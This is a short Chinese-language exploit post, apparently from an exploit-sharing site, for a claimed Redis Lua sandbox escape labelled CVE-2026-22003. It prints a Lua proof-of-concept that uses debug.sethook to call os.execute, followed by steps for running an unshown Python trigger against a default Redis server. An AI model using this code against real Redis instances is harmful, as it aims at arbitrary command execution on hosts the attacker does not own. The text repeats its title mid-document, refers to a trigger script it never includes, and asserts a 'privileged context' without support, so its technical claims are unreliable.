CVE-2026-22003 – 通过 debug.sethook 的 Redis Lua 沙箱逃逸

程序代码（Lua + Python 触发器）

-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
  debug.sethook(function() 
    -- This hook runs in a privileged context
    os.execute("id > /tmp/redis_escape") 
  end, "r")
  local a = 1
end
return escape()

CVE-2026-22003 – 通过 debug.sethook 的 Redis Lua 沙箱逃逸

概述

Redis Lua 沙箱未正确禁用 debug.sethook 函数。能够运行 Lua 脚本的攻击者可以安装一个在特权上下文中执行的钩子，从而逃逸沙箱并执行任意系统命令。

漏洞详情

• **类型：**沙箱逃逸
• **影响：**Redis 主机上的远程代码执行。
• **根本原因：**Lua 环境的调试库仍然可访问，允许钩子调用 os.execute 或类似函数。

漏洞利用演示

1. 启动一个 Redis 服务器（使用允许 EVAL 的默认配置）。
2. 运行漏洞利用程序：
   root@kitploit:~

   pip install redis
   python trigger_redis_sandbox_escape.py
   

已创建 /tmp/redis_escape 文件，证明命令执行成功。